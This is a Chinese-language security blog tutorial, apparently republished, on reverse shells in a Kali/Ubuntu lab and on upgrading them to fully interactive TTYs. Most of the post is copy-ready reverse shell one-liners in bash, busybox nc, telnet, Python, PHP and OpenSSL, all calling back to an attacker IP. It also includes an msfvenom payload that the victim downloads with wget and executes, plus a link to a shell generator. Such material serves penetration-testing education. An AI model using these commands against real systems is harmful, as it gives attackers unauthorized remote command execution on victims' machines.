技巧分享-反弹Shell-升级交互式Shell-011

admin 2026-04-13 03:57:05 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了反弹Shell的技术原理与多种实现方法,包括使用bash、busybox、telnet、python、php等命令及Metasploit、OpenSSL等工具实现反向连接。重点演示了如何将基础Shell升级为半交互式和完整交互式Shell,并提供了调整终端显示大小的实用技巧。文档包含具体的操作命令和实验环境配置,具有较高的实战指导价值。 综合评分: 85 文章分类: 渗透测试,红队,内网渗透,WEB安全,安全工具


cover_image

技巧分享-反弹Shell-升级交互式Shell-011

六边形攻防安全

2026年3月22日 20:26 河北

在小说阅读器读本章

去阅读

以下文章来源于F0ne ,作者F0ne

F0ne .

一名热爱学习与分享的网络安全从业者,专注于持续更新信息安全学习笔记、CTF 与靶场解析、渗透测试研究及应急响应经验,致力于传播网络安全知识与实践心得。

技巧分享-反弹Shell-升级交互式Shell

不积跬步无以至千里,不积小流无以成江海。


目录结构

  • 环境准备

  • 反弹shell

  • 概述

  • 常见反弹shell

  • 反弹shell示例

  • bash反弹shell

  • busybox反弹shell

  • telnet反弹shell

  • python反弹shell

  • php反弹shell

  • metasploit反弹shell

  • openssl反弹加密shell

  • 升级交互式shell

  • 升级至半交互式shell

  • 升级至完整型交互式shell

  • 调整shell显示大小

  • 工具介绍


环境准备

使用工具:ubuntu虚拟机、kali虚拟机

网络连接配置:将kali虚拟机与ubuntu虚拟机配置同一网络环境


反弹Shell

1、概述

ShellShell是操作系统的用户界面,它为用户与系统内核之间提供了交互的接口。用户通过Shell输入命令,Shell则负责解析这些命令,并将它们传递给操作系统内核去执行。Shell可以理解为一个命令解释器,它使得用户能够通过命令行与计算机进行操作,而不需要直接操作复杂的内核。

常见的Shell类型bash、sh、zsh、csh、tcsh、ksh和fish,其中bash是Linux中使用最广泛的Shell。

反弹Shell攻击者通过监听某个TCP/UDP端口作为服务端,等待受害主机的连接。当受害主机主动向攻击者发起请求后,受害主机会将其本地的Shell接口(命令行控制权)交给攻击者。通过这个Shell,攻击者可以像在本地操作一样,执行受害主机上的任意系统命令。

2、常见的反弹Shell

反弹Shell分为:正向Shell和反向Shell。

反向Shell由受害者主动连接攻击者监听的端口。在这种情况下,受害者通常可以访问外网,能够直接访问攻击者服务器的IP地址。这种方法常用于绕过防火墙或NAT限制,因为受害者发起连接后,攻击者就可以获取到受害者的Shell(命令行控制权)。

正向Shell由攻击者主动连接受害者监听的端口。在这种情况下,受害者通常无法直接访问外网,但可以通过地址映射将固定端口映射到其出口IP上。攻击者利用映射出的端口,主动发起连接,以获取受害者的Shell(命令行控制权)。这种方式在防火墙和NAT环境中常见,因为受害者的机器并不是主动向外部发起连接。

2.1 反弹shell示例

常见反弹shell:利用编程语言(golang、python、c、c++、php等)反弹shell,利用终端命令(bash、powershell、nc、busybox、ncat、telnet等)反弹shell,利用远控工具(Metasploit、Cobalt Strike等)反弹shell。

2.1.1 bash 反弹shell

攻击机器(192.168.118.128):nc -lvvp 1234
受害机器(192.168.118.129):bash -i >& /dev/tcp/192.168.118.128/1234 0>&1

利用bash命令成功将shell反弹至kali攻击机。

2.1.2 busybox反弹shell

busybox工具:集成了大多数常用的Linux终端命令。通过在命令行输入busybox 可以查看其支持的所有命令。对于系统中未安装或损坏的命令,可以通过busybox来执行相应功能。

攻击机器(192.168.118.128):nc -lvvp 1234
受害机器(192.168.118.129):busybox nc 192.168.118.128 1234 -e /bin/bash

利用busybox命令成功将shell反弹至kali攻击机。

2.1.3 telnet反弹shell

攻击机器(192.168.118.128):nc -lvvp 1234
受害机器(192.168.118.129):TF=$(mktemp -u);mkfifo $TF&nbsp;&&&nbsp;telnet&nbsp;192.168.118.128&nbsp;1234&nbsp;0<$TF&nbsp;|&nbsp;sh&nbsp;1>$TF

利用telnet命令成功将shell反弹至kali攻击机。

2.1.4 python反弹shell

攻击机器(192.168.118.128):nc -lvvp 1234
受害机器(192.168.118.129):python3 -c 'import&nbsp;socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.128",1234));os.dup2(s.fileno(),0);&nbsp;os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import&nbsp;pty;&nbsp;pty.spawn("sh")'

利用python语言成功将shell反弹至kali攻击机。

2.1.5 php反弹shell

攻击机器(192.168.118.128):nc -lvvp 1234
受害机器(192.168.118.128):php -r '$sock=fsockopen("192.168.118.128",1234);exec("sh&nbsp;<&3&nbsp;>&3&nbsp;2>&3");'

利用php语言成功将shell反弹至kali攻击机。

2.1.6 Metasploit反弹shell

使用metasploit反弹shell,需首先确认受害主机操作系统类型和版本,以Linux aarch64为例(使用uname -a查看系统版本信息):

攻击机器(192.168.118.128)
1、开启监听:
msfconsole&nbsp;-q&nbsp;-x&nbsp;"use&nbsp;multi/handler;&nbsp;set&nbsp;payload&nbsp;linux/aarch64/shell_reverse_tcp;&nbsp;set&nbsp;lhost&nbsp;192.168.118.128;&nbsp;set&nbsp;lport&nbsp;1234;&nbsp;exploit"
2、生成后门shell文件:
msfvenom&nbsp;-p&nbsp;linux/aarch64/shell_reverse_tcp&nbsp;LHOST=192.168.118.128&nbsp;LPORT=1234&nbsp;-f&nbsp;elf&nbsp;-o&nbsp;reverse.elf
3、python开启web服务
&nbsp;python3&nbsp;-m&nbsp;http.server&nbsp;80

kali攻击机开启监听;

kali攻击机生成后门shell文件;

python创建web服务,用于受害机下载后门文件;

受害机器(192.168.118.129)
1、下载后门shell至受害服务器(curl、wget)
cd&nbsp;/tmp&nbsp;&&&nbsp;wget&nbsp;http://192.168.118.128/reverse.elf && chmod +x reverse.elf
2、执行后门shell文件
./reverse.elf

受害机下载后门shell文件,并执行;

利用metasploit工具成功将shell反弹至kali攻击机。

2.1.7 OpenSSL反弹加密shell

攻击机器(192.168.118.128):
1、生成加密证书:
openssl&nbsp;req&nbsp;-x509&nbsp;-newkey&nbsp;rsa:2048&nbsp;-keyout&nbsp;key.pem&nbsp;-out&nbsp;cert.pem&nbsp;-days&nbsp;365&nbsp;-nodes
2、开启监听
openssl&nbsp;s_server&nbsp;-quiet&nbsp;-key&nbsp;key.pem&nbsp;-cert&nbsp;cert.pem&nbsp;-port&nbsp;1234

受害机器(192.168.118.129):
mkfifo&nbsp;/tmp/s;&nbsp;/bin/sh&nbsp;-i&nbsp;<&nbsp;/tmp/s&nbsp;2>&1&nbsp;|&nbsp;openssl&nbsp;s_client&nbsp;-quiet&nbsp;-connect&nbsp;192.168.118.128:1234&nbsp;>&nbsp;/tmp/s;&nbsp;rm&nbsp;/tmp/s

kali攻击机生成openssl加密证书;

kali攻击机开启监听;

受害机执行反弹shell命令;

利用openssl成功将shell反弹至kali攻击机。

升级交互式Shell

在获得反向 shell 后,如果需要执行交互式命令(例如使用 vi 编辑文件或进行数据库操作),可能会遇到无法执行的情况。这是因为反向 shell 通常是非交互式的,无法提供命令提示、自动补全或编辑功能。此时,您需要将反向 shell 升级为交互式 shell,以便能够顺利执行这些命令。

1、升级为半交互式shell

方法一:
python3&nbsp;-c&nbsp;'import&nbsp;pty;pty.spawn("/bin/bash")'

方法二:
/usr/bin/script&nbsp;-qc&nbsp;/bin/bash&nbsp;/dev/null

演示通过nc将受害机shell反弹至kali攻击机,此时并非交互型shell;

执行方法一或方法二中的任意一个,可以将shell升级为半交互式。升级成功后,命令行会显示用户信息,但仍然无法进行命令补全和提示。此时,使用Control+C会导致shell 退出。此时shell已经支持数据库登录、用户切换等操作。

2、升级为完整型交互式shell

1、使用control+z,将当前shell挂起
2、stty&nbsp;raw&nbsp;-echo;fg
3、reset
4、echo&nbsp;$TERM # 如果第三步执行后需要输入终端类型,在受害机执行echo $TERM获取终端类型然后输入即可

使用control+z将shell挂起;

执行stty命令;

执行reset;

成功升级为完整的交互式shell;

此时shell已经升级为完整的交互式shell,具备shell的全部特性。

3、调整shell显示大小

使用vi编辑文件时,可能会出现编辑窗口大小显示不全问题,这里还需要调整stty显示大小,使其与受害机一致。

1、执行:stty -a获取受害主机stty属性
2、在升级后的完整交互式shell执行:
stty&nbsp;rows&nbsp;25&nbsp;columns&nbsp;80&nbsp;&nbsp;#&nbsp;这里的50和160是获取的值

通过受害主机stty属性信息,获取rows和columns数值;

将反弹的shell stty属性设置与受害机一致;

此时,再执行vi命令,发现没有任何问题。

工具介绍

shell在线生成网站
https://forum.ywhack.com/reverse-shell/

访问以上网址,其中包含了多种常用的反弹 shell 命令,不仅限于本文中介绍的方法。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:六边形攻防安全 《技巧分享-反弹Shell-升级交互式Shell-011》

评论:0   参与:  0